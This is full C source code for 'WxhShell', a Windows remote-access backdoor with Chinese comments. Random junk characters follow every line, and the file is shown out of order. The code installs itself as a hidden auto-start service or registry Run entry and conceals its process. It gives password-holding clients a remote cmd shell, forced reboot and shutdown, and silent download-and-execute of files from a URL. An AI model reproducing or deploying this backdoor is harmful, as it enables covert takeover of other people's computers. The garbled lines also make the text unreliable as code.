    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < q(i(%  
    if(Boot(SHUTDOWN)) bZWR. </  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n5xG4.#G  
    else { F ! v01]O  
    closesocket(wsh); /oe0  
    ExitThread(0); 6 T~+vT  
    } IA1O]i S  
    break; moVf(7  
    } k(>J?\iNW  
  // 获取shell tZ=|1lM  
  case 's': {  ]igCV  
    CmdShell(wsh); *URY8 a`bO  
    closesocket(wsh); uq:'`o-1  
    ExitThread(0); >Gg[J=7`  
    break; $aXYtHI  
  } <5]_u:  
  // 退出 K'e!BZm6Q  
  case 'x': { -,=)O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z}5'TV=^  
    CloseIt(wsh); %E, -dw  
    break; ZQz;EV!  
    } !5m~qet.  
  // 离开 Q4ii25]*  
  case 'q': { FGwgSrXL7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g+.E=Ef8<4  
    closesocket(wsh); aM[fag$c  
    WSACleanup(); R'K /\   
    exit(1); ~c1~) QzZ  
    break; u_WW uo  
        } NFIFCy!  
  } }?{. 'Hv0  
  } QBoX3w=  
@J@bD+Q+0  
  // 提示信息 #lVSQZO~a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r Z5eXew6  
} YRl4?}r2  
  } v Ma$JPauI  
y;9K  
  return; NVC$8imip  
} )[sSCt]  
#@5 jOi  
// shell模块句柄 CA"`7<,  
int CmdShell(SOCKET sock) n |,}   
{ 4P24ySy9F  
STARTUPINFO si; B;{sr'CP  
ZeroMemory(&si,sizeof(si)); ^n]?!BdU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 78b9Sdi&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =(k0^ #++G  
PROCESS_INFORMATION ProcessInfo; hU2 N{Ac  
char cmdline[]="cmd"; tK <)A)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ER$~kFE2yP  
  return 0; kS7T'[d  
} Y50$ 2%kM  
~0.@1zEXj  
// 自身启动模式 YX2j;Y?  
int StartFromService(void) pk=z<OTb  
{ / dn]`Ge)  
typedef struct R91u6r#  
{ D3 E!jQ1  
  DWORD ExitStatus; 2gjA>ET`N  
  DWORD PebBaseAddress; 483vFLnF  
  DWORD AffinityMask; QaEXk5>e  
  DWORD BasePriority; KQqQ@D&n  
  ULONG UniqueProcessId; tX}Fb0y  
  ULONG InheritedFromUniqueProcessId; `+@%l*TQ  
}   PROCESS_BASIC_INFORMATION; %^ E>~  
`[1]wV5(5@  
PROCNTQSIP NtQueryInformationProcess; [ 06B)|s  
r?2C%GI`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X4*/h$48 w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C[$<7Mi|;  
V'?nS&,i  
  HANDLE             hProcess; & l|B>{4v  
  PROCESS_BASIC_INFORMATION pbi; r>q`# ~  
8i"{GGVC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {gi"ktgk  
  if(NULL == hInst ) return 0; 1Kebl  
veE8 N~0N.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %s)E}cGH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~GY;{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IWpUbD|kC  
 Q{Bj(f  
  if (!NtQueryInformationProcess) return 0; ||,;07  
&c@I4RV|q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZNA?`Z)f  
  if(!hProcess) return 0; p|bpE F=U  
~E`A,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AAl`bhx'n  
en~(XE1  
  CloseHandle(hProcess); ->#7_W  
@o^sp|k !  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vgm{=$  
if(hProcess==NULL) return 0; p0YTZS ]h  
I~T?tm  
HMODULE hMod; bFx?HM.AGW  
char procName[255]; q{JD]A:  
unsigned long cbNeeded; >zhbipA  
 3i$AR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rC*nZ*  
V+K.' J ^@  
  CloseHandle(hProcess); ,[hJi3xM  
{DO9{96w4  
if(strstr(procName,"services")) return 1; // 以服务启动 0UB'6wRVo  
NAocmbfNz  
  return 0; // 注册表启动 -jw=Iyv  
} " 7 4L  
]V]o%onW  
// 主模块 :{6[U=O  
int StartWxhshell(LPSTR lpCmdLine) 5Q'R5]?h  
{ =UP)b9*h  
  SOCKET wsl; 4* hmeS"  
BOOL val=TRUE; _1 JvA-  
  int port=0; hg>YOf&RG  
  struct sockaddr_in door; ! O>mu6:Rf  
Yr,1##u  
  if(wscfg.ws_autoins) Install(); ^~I  
+%~g$#tlJo  
port=atoi(lpCmdLine); t-Fl"@s  
wIiT :o  
if(port<=0) port=wscfg.ws_port; V)Xcn'h  
zj)[Sn tn?  
  WSADATA data; DpR%s",Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U5PCj ]-Xt  
8UZE C-K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Te/)[I'Tn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y+7v~/K=  
  door.sin_family = AF_INET; Q'Tn+}B&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /][U$Q;Ke  
  door.sin_port = htons(port); ljCgIfZ_4  
w/<hyEpxg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n#fg7d%  
closesocket(wsl); 0?sp  
return 1; Aws TDM  
} Y#5S;?bR  
]_,~q@r$  
  if(listen(wsl,2) == INVALID_SOCKET) { *]=)mM#  
closesocket(wsl); m ;vNA  
return 1; 5f5`7uVJF  
} s_8! x  
  Wxhshell(wsl); 3IxT2@H)  
  WSACleanup(); ] 7O?c=  
-|kDa1knA  
return 0; YD%Kd&es  
+Lr0i_al  
} N!3f1d7RQ  
\3/9lE|gh  
// 以NT服务方式启动 N@>S>U8C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EIfrZg7R  
{ o_5@R+&  
DWORD   status = 0; s'^#[%EgB  
  DWORD   specificError = 0xfffffff; 1&<@(S<  
5*r6#[S\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; re*/JkDq3K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V]2z5u_q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wtKh8^:YD  
  serviceStatus.dwWin32ExitCode     = 0; (qrT0D6  
  serviceStatus.dwServiceSpecificExitCode = 0; 9+']`=a:  
  serviceStatus.dwCheckPoint       = 0; z=U!D `]v  
  serviceStatus.dwWaitHint       = 0; }ie]7N6;  
9.B7Owgr89  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;F Bc^*q  
  if (hServiceStatusHandle==0) return; H#y"3E<s  
Mg$Z^v|}0  
status = GetLastError(); 1d"P) 3dQ  
  if (status!=NO_ERROR) Y4O L 82Y  
{ jj2UUQ|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4Ojw&ys@V  
    serviceStatus.dwCheckPoint       = 0; 2o/`8+eJu  
    serviceStatus.dwWaitHint       = 0; Fqv5WoYVf  
    serviceStatus.dwWin32ExitCode     = status; F8I <4S  
    serviceStatus.dwServiceSpecificExitCode = specificError; @n(In$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^q` *!B 9@  
    return; Vmc)or*#  
  } YovY0nO  
v=>Gvl3&U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; URgF8?n  
  serviceStatus.dwCheckPoint       = 0; C(t/:?(y  
  serviceStatus.dwWaitHint       = 0; oX~CTunP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (YOgQ)},  
} I .ty-X]  
?+\,a+46P_  
// 处理NT服务事件,比如:启动、停止 nz\fN?q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bRK9Qt#3  
{ F?kVW[h?q  
switch(fdwControl) U:9vjY  
{ (% P=#vZ  
case SERVICE_CONTROL_STOP: Ev16xL8B  
  serviceStatus.dwWin32ExitCode = 0; wrU[#g,uvr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -wfV  
  serviceStatus.dwCheckPoint   = 0; pg)g&ifKl  
  serviceStatus.dwWaitHint     = 0; s_LSs yqo  
  { A\)X&vR[6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3#[I _  
  } ;>9pJ72r  
  return; rE:>G]j6  
case SERVICE_CONTROL_PAUSE: { )qP34rM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~tvoR&{I  
  break; GB3B4)cX4Y  
case SERVICE_CONTROL_CONTINUE: $NH Wg(/R@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pt#[.n#f  
  break; |5Pbc&mH8A  
case SERVICE_CONTROL_INTERROGATE: kVv <tw  
  break; 4#q JX)/  
}; Pa +BE[z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,m,vo_Ub  
} (xed(uFEK  
+.I'U9QeUN  
// 标准应用程序主函数 ~0|hobk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2\de |'  
{ ~*Qpv&y)  
m 9@n  
// 获取操作系统版本 1 7oxD  
OsIsNt=GetOsVer(); ($> 0&w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;7k7/f:  
>>zoG3H!  
  // 从命令行安装 KCE-6T  
  if(strpbrk(lpCmdLine,"iI")) Install(); ASw |sw  
':]a.yA\1  
  // 下载执行文件 N-E`go  
if(wscfg.ws_downexe) { oFR'GUQC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TP::y  
  WinExec(wscfg.ws_filenam,SW_HIDE); j:3Hm0W3  
} h+D=/:B  
YWrY{6M  
if(!OsIsNt) { .`N` M9  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Y\"^'OU\  
HideProc(); @98SC}}u  
StartWxhshell(lpCmdLine); %)Dd{|c  
}  22~X~=  
else w tLM c  
  if(StartFromService()) mtddLd,  
  // 以服务方式启动 e622{dfVS  
  StartServiceCtrlDispatcher(DispatchTable); v^fOT5\  
else lG>e6[Wc  
  // 普通方式启动 ^\jX5)2{  
  StartWxhshell(lpCmdLine); W%K8HAP"  
`|Z@UPHzG  
return 0; '/g+;^_cB  
} zq r%7U  
\|` Pul$  
`+c9m^  
#`0z=w/)  
=========================================== ya g  
}#5roNH~Z  
C /XyDbH  
h##?~!xDmq  
y4rJ-  
Z3>3&|&  
" PJ:5Lb<  
ky$:C,1t  
#include <stdio.h> 9= $,]M  
#include <string.h> =3dbw8I  
#include <windows.h> <|Eby!KXR  
#include <winsock2.h> |S`yXsg  
#include <winsvc.h> 'xoE [0!  
#include <urlmon.h> 14!a)Ijl  
?9@Af{b t2  
#pragma comment (lib, "Ws2_32.lib") @i-@mxk6<  
#pragma comment (lib, "urlmon.lib") DeQ'U!?+N  
%&+R":Bw  
#define MAX_USER   100 // 最大客户端连接数 0P3|1=  
#define BUF_SOCK   200 // sock buffer SLOYlRGCi  
#define KEY_BUFF   255 // 输入 buffer 9~%]|_(  
PFgjWp"Y  
#define REBOOT     0   // 重启 l'". }6S  
#define SHUTDOWN   1   // 关机 X]U"ru{1q  
 b(-t)5^}  
#define DEF_PORT   5000 // 监听端口 }.V0SM6  
>@"3Q`  
#define REG_LEN     16   // 注册表键长度 IYg3ve`x  
#define SVC_LEN     80   // NT服务名长度 Y_>-p(IH  
~V"cLTj"  
// 从dll定义API C| IQM4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4$DliP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =k<4mlok^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4m[C-NB!g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cW\Y?x   
Yk@s"qm3  
// wxhshell配置信息 ::Q);  
struct WSCFG { G|oB'~ {&  
  int ws_port;         // 监听端口 &\ lS  
  char ws_passstr[REG_LEN]; // 口令 [piF MxZP  
  int ws_autoins;       // 安装标记, 1=yes 0=no hIo S#]  
  char ws_regname[REG_LEN]; // 注册表键名 wp*&&0O!  
  char ws_svcname[REG_LEN]; // 服务名 9iddanQA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +\[![r^P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `e'o~ oSu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .O%1)p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $]U5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]op^dW1;0_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bo!]  
~eOj:H  
}; fQTA@WAr  
1o~U+s_r  
// default Wxhshell configuration LO}:Ub  
struct WSCFG wscfg={DEF_PORT, '[yqi1 &  
    "xuhuanlingzhe", mImbS)V  
    1, ecqz@*d&  
    "Wxhshell", HZ<f(  
    "Wxhshell", ~muIi#4  
            "WxhShell Service", g6/N\[b%  
    "Wrsky Windows CmdShell Service", vWi. []  
    "Please Input Your Password: ", Z0 IxYEp  
  1, 8xpYQ<cax  
  "http://www.wrsky.com/wxhshell.exe", ,{ L;B  
  "Wxhshell.exe" f'`nx;@X  
    }; Re,$<9V  
s!;VUr\  
// 消息定义模块 pg}+lYGP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iraRB~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -=t3O#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1QF*e'  
char *msg_ws_ext="\n\rExit."; .m]=JC5'  
char *msg_ws_end="\n\rQuit."; m`\i+  
char *msg_ws_boot="\n\rReboot..."; PVS<QN%  
char *msg_ws_poff="\n\rShutdown..."; : Nj`_2  
char *msg_ws_down="\n\rSave to "; h;ol"  
*v nxP9<  
char *msg_ws_err="\n\rErr!"; Rp`_Grcd  
char *msg_ws_ok="\n\rOK!"; +`s&i%{1>  
h6T/0YhWLP  
char ExeFile[MAX_PATH]; [' OCw {<  
int nUser = 0; q'Pz3/mk  
HANDLE handles[MAX_USER]; Ux)p%-  
int OsIsNt; q4.dLU,1  
'f?&EsIV?  
SERVICE_STATUS       serviceStatus; eFj6p<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _z(5e  
Ad`[Rt']kI  
// 函数声明 B`?N0t%X  
int Install(void); rv%ye H  
int Uninstall(void); x#j\"$dla  
int DownloadFile(char *sURL, SOCKET wsh); Msa6yD#  
int Boot(int flag); 4j/iG\  
void HideProc(void); !G"9xrr1  
int GetOsVer(void); s{z~Axup-  
int Wxhshell(SOCKET wsl); oLqbR?  
void TalkWithClient(void *cs); 2htA7V*dD  
int CmdShell(SOCKET sock); ueE?"Hk  
int StartFromService(void); 4/`h@]8P  
int StartWxhshell(LPSTR lpCmdLine); B/sBYVU  
;&W;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hr<C2p^a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QLB1:O>  
+i`Q 7+d  
// 数据结构和表定义 Vh#Mp!  
SERVICE_TABLE_ENTRY DispatchTable[] = ?lc[ hH  
{ NO+ 55n  
{wscfg.ws_svcname, NTServiceMain}, ra9cD"/J &  
{NULL, NULL} "'F;lzq  
}; &weY8\HD  
WBw M;S#%  
// 自我安装 S}m$,<x  
int Install(void) sk7rU+<  
{ \=w'HZH#+  
  char svExeFile[MAX_PATH]; PHRGhKJW})  
  HKEY key; CCW%G,$U9  
  strcpy(svExeFile,ExeFile); s,$Z ("B  
C?[a3rNH(  
// 如果是win9x系统,修改注册表设为自启动 EREolCASb  
if(!OsIsNt) {  %K%^ ]{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $*AC>i\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (@KoqwVWc  
  RegCloseKey(key); eC>"my`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ':!3jZP"m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <DeKs?v  
  RegCloseKey(key); c7+Djqs  
  return 0; /B,:<&_-  
    } $Wr\ [P:  
  } ySwYV  
} IU Y> ih  
else { XOysgX0g  
49+ >f  
// 如果是NT以上系统,安装为系统服务 9TVB<}0G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )|w*/JK\Z  
if (schSCManager!=0) J$#h( D%  
{ [F/^J|VMV  
  SC_HANDLE schService = CreateService eeW' [  
  ( *M> iZO*@  
  schSCManager, [ME}Cv`?<E  
  wscfg.ws_svcname, [!1)mR  
  wscfg.ws_svcdisp, gohAp  
  SERVICE_ALL_ACCESS, -A/ds1=;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gEZwW]r-  
  SERVICE_AUTO_START, hD nM+4D  
  SERVICE_ERROR_NORMAL, M"=8O>NZ2  
  svExeFile, UGhW0X3k  
  NULL, t6'61*)|0  
  NULL, u.Mqj"o\  
  NULL, )n\*ht7  
  NULL, 2.[_t/T  
  NULL n K+lE0  
  ); r1i$D  
  if (schService!=0) <,jAk4  
  { x}tKewdOSe  
  CloseServiceHandle(schService); CJzm}'NY  
  CloseServiceHandle(schSCManager); `S"W8_m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a @6^8B?w;  
  strcat(svExeFile,wscfg.ws_svcname); cyW;,uT)D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :e1'o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZhH+D`9  
  RegCloseKey(key); {mNdL J  
  return 0; 7^ 4jcfJH  
    } Vy]A,Rn7  
  } N<9w{zIK(  
  CloseServiceHandle(schSCManager); p1+7 <Y:  
} `SCy<w3$+[  
} KwS`3 6:  
>G]?  
return 1; @4;&hP2Z:  
}  ylk{!  
j5kA^MTG  
// 自我卸载 d-~vR(tU  
int Uninstall(void) / T ,zZ9=  
{ brntE:  
  HKEY key; l$F_"o?&S@  
<nBo}0O}  
if(!OsIsNt) { g[M]i6h2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XM$GQn]B  
  RegDeleteValue(key,wscfg.ws_regname); 29%=:*R$  
  RegCloseKey(key); hGvqT,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @d&g/ccMxd  
  RegDeleteValue(key,wscfg.ws_regname); f3 !n$lj  
  RegCloseKey(key); m=H_?W;  
  return 0; u*hH }  
  } |"Z-7@/k$i  
} W,Ty=:qm*  
} CJp-Y}fGEA  
else { |) O):  
Rs2-94$!5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *6XRjq^#  
if (schSCManager!=0) F99A;M8(  
{ Xtkw Z3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [m\,+lG?)j  
  if (schService!=0) k d+l k:  
  { FuuS"G,S  
  if(DeleteService(schService)!=0) { y:.?5KsPI  
  CloseServiceHandle(schService); uN9e:;  
  CloseServiceHandle(schSCManager); KSc~GP _  
  return 0; @ u+|=x];  
  } J?IC~5*2  
  CloseServiceHandle(schService); @V$I?iXV  
  } "R23Pi  
  CloseServiceHandle(schSCManager); _dr*`yXi  
} j7}lF?cJ2  
} ,E?4f @|X  
#EG?9T  
return 1; FZp<|t  
} #/ +I*B*y  
UfKkgq#  
// 从指定url下载文件 hO6RQ0Iv@  
int DownloadFile(char *sURL, SOCKET wsh) p![&8i@ym  
{ nhewDDu  
  HRESULT hr; Sph*1c(R  
char seps[]= "/"; ufP Cx|x~  
char *token; dF e4K"  
char *file; ]G*$W+G]  
char myURL[MAX_PATH]; uoCGSXsi  
char myFILE[MAX_PATH]; +9zA^0   
:!O><eQw  
strcpy(myURL,sURL); ;& ~929  
  token=strtok(myURL,seps); \f"1}f  
  while(token!=NULL) cy3M^_5B<  
  { 6vobta^w  
    file=token; _CE9B e\  
  token=strtok(NULL,seps); R hio7C  
  } D0ruTS  
tpo>1|  
GetCurrentDirectory(MAX_PATH,myFILE); h<% U["   
strcat(myFILE, "\\"); oy5+ }`  
strcat(myFILE, file); ao$):,2*  
  send(wsh,myFILE,strlen(myFILE),0); X *O9JGh  
send(wsh,"...",3,0); ([KN*OF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8=F%+  
  if(hr==S_OK) t',BI  
return 0; b_vTGl1_6  
else kA^A mfba  
return 1; .C= I^  
W:O0}   
} ^|?1_r  
|I^y0Q:K  
// 系统电源模块 ET-Vm >]  
int Boot(int flag) Hku=pr3Gn  
{ fsvYU0L  
  HANDLE hToken; ~@P)tl>  
  TOKEN_PRIVILEGES tkp; 3cC }'j  
d#\W hRE  
  if(OsIsNt) { uyT/Xzo3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >a=d;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^i`*Wm@!  
    tkp.PrivilegeCount = 1; z-@ -O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C`4gsqD;Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +(mL~td01  
if(flag==REBOOT) { uTGcQs}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *]x_,:R6Ow  
  return 0; (WE,dY+.  
} *#2Rvt*Ox  
else { ?/d!R]3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9=$ !gC)  
  return 0; 1TRN~#ix  
} &&PgOFD  
  } %&<W(|U1<  
  else { ]a/'6GbR  
if(flag==REBOOT) { 4;*f1_;f~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &71e5<(dG  
  return 0; B*,?C]0{  
} BXhWTGiG  
else { 8R xc&`_X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %S#WPD'Y  
  return 0; >&Fa(o;*  
} < y>:B}9'  
} tt4+m>/T  
6fwY$K\X  
return 1; jO)&KEh  
} k/lFRi-i  
Q%5F ]`VN  
// win9x进程隐藏模块 &1Fply7(Ay  
void HideProc(void) Fu)Th|5GZ  
{ )+Y&4Qu  
4P kfUMX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~7SH4Cr  
  if ( hKernel != NULL ) nGrVw&  
  { J_xG}d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0"4@;e_)>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #WufZ18#  
    FreeLibrary(hKernel); _;e\:7<m  
  } "=|t~`  
ek)Xrp:2  
return; $']VQ4tZ  
} =B(mIx;m  
Oif,|:  
// 获取操作系统版本 t(?<#KUB-  
int GetOsVer(void) 7+ XM3  
{ $TG?4  
  OSVERSIONINFO winfo; .JAcPyK^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F2>%KuM  
  GetVersionEx(&winfo); d6.}.*7Whc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s AE9<(g&@  
  return 1; =!<G!^  
  else mG(N:n%*K  
  return 0; n Ga1a  
} T1N H eH>  
v>-Y uS  
// 客户端句柄模块 QN G&  
int Wxhshell(SOCKET wsl) p4mY0Y]mP  
{ w O!u!I  
  SOCKET wsh; =nhzMU9c\y  
  struct sockaddr_in client; |:2c$zq  
  DWORD myID; ./w{L"E  
OM!=ViN(=  
  while(nUser<MAX_USER) rn" pKUd  
{ - L~Uu^o  
  int nSize=sizeof(client); ;~/4d-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nem@sB;v#  
  if(wsh==INVALID_SOCKET) return 1; gq4 . d  
xo~g78jm7,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]!Zty[  
if(handles[nUser]==0) 3j*'HST  
  closesocket(wsh); b UvK  
else #x~_`>mDN  
  nUser++; `K?1L{p'4  
  } +X^4; &  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4vqNule  
.,mPdVof  
  return 0; ( u f5\}x  
} yXF|Sqv  
g rbTcLSF  
// 关闭 socket n\= (S9  
void CloseIt(SOCKET wsh) 93D \R  
{ n`<U"$*  
closesocket(wsh); \_ -DyD#3  
nUser--; O5;-Om  
ExitThread(0); m2b`/JW  
} u^=@DO'  
8^X]z|2  
// 客户端请求句柄 kF-TG3  
void TalkWithClient(void *cs) ORH93`  
{ :qnokrGzB  
7bT /KLU  
  SOCKET wsh=(SOCKET)cs; F5IZ"Itu(  
  char pwd[SVC_LEN]; BXA]9eK  
  char cmd[KEY_BUFF]; !K\itOEP-  
char chr[1]; f)^t')  
int i,j; M(5D'4.  
#!d]PH746  
  while (nUser < MAX_USER) { JS7dsO0;  
*?N<S$m  
if(wscfg.ws_passstr) { }+DDJ6Jzs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xid:"y=_&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o?dR\cxj  
  //ZeroMemory(pwd,KEY_BUFF); Wp4K6x  
      i=0; \`gEu{  
  while(i<SVC_LEN) { UE7'B?  
8.2`~'V  
  // 设置超时 [; @):28"  
  fd_set FdRead; SG`)PW?  
  struct timeval TimeOut; W.$6 pzB(  
  FD_ZERO(&FdRead); K;C_Z/<%  
  FD_SET(wsh,&FdRead); kW(Kh0x  
  TimeOut.tv_sec=8; n?Zf/T  
  TimeOut.tv_usec=0; 4W-"|Z_x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e YDUon  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' =}pxyg  
>Bx8IO1_\d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * gHCy4u{  
  pwd=chr[0]; M8_R  
  if(chr[0]==0xd || chr[0]==0xa) { R8uj3!3^  
  pwd=0; cz>mhD  
  break; d<v~=  
  } [Q:f-<nH  
  i++; m9Il\PoTq  
    } ?OO%5PSen  
!l"tI#?6W%  
  // 如果是非法用户,关闭 socket AZBC P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GoL|iNW`  
} YM8rJ-  
p}BGw:=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^(g_.>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CPGL!:  
Z+,CL/  
while(1) { gi 5XP]z  
Iy.mVtcsZ  
  ZeroMemory(cmd,KEY_BUFF); ^Rk^XQCh  
% GVN4y&  
      // 自动支持客户端 telnet标准   9R>~~~{-Go  
  j=0; r},lu=em  
  while(j<KEY_BUFF) { !"%S#nrL$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vlAy!:CV  
  cmd[j]=chr[0]; UeNF^6sWu0  
  if(chr[0]==0xa || chr[0]==0xd) { L5&K}F]r^  
  cmd[j]=0; TR?Bvy2s:g  
  break; FR(QFt!g  
  } w_!%'9m>  
  j++; 2$Wo&Q^_  
    } 7P c(<Ui+  
{yU0D*#6  
  // 下载文件 cTy'JT7  
  if(strstr(cmd,"http://")) { =G*z 5 3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :i}@Br+R7L  
  if(DownloadFile(cmd,wsh)) D=JlA~tS>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %VS 2M #f  
  else w O89&XZ<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ovSH}h!  
  } St_S l:m$  
  else { $-e=tWkgv  
